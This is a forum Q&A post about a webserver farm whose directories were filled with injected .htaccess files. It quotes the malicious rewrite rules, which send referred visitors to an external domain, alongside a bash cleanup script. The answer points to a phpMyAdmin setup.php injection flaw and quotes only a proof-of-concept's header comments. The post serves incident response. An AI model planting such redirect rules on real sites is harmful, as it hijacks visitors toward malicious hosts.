Aug 13, 2011
tom

Finding Webserver Vulnerability

Question

We operate a webserver farm hosting around 300 websites.

Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites.

The content of the .htaccess file was this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Googling for that url (which is the md5 hash of “antivirus”) I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is.

I have searched most of our logs, but haven’t found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole?

So far we have determined:

  • the changes were made as www-data, so apache or it’s plugins are likely the culprit
  • all the changes were made within 15 minutes of each other, so it was probably automated
  • since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site)
  • if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse)

Any more hints would be appreciated.

==Edit==

For those who need it, here is the script I used to clean up the .htaccess files:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

Answer

There’s an exploit of phpMyAdmin

#!/bin/bash

# CVE-2009-1151: phpMyAdmin ‘/scripts/setup.php’ PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it seems this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the wizard method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the ‘/config/’ directory
# within the ‘/phpMyAdmin/’ directory. this is because this directory is
# where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
# our evil PHP code is injected 8)

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

Related posts:

  1. Add htaccess for phpMyAdmin installed in /usr/share/?
  2. phpMyAdmin File Could Not Be Read
  3. Webserver and PHP File Security
  4. adding dynamic subdomains to my webserver?
  5. JBOSS Vulnerability [PCI Scan]

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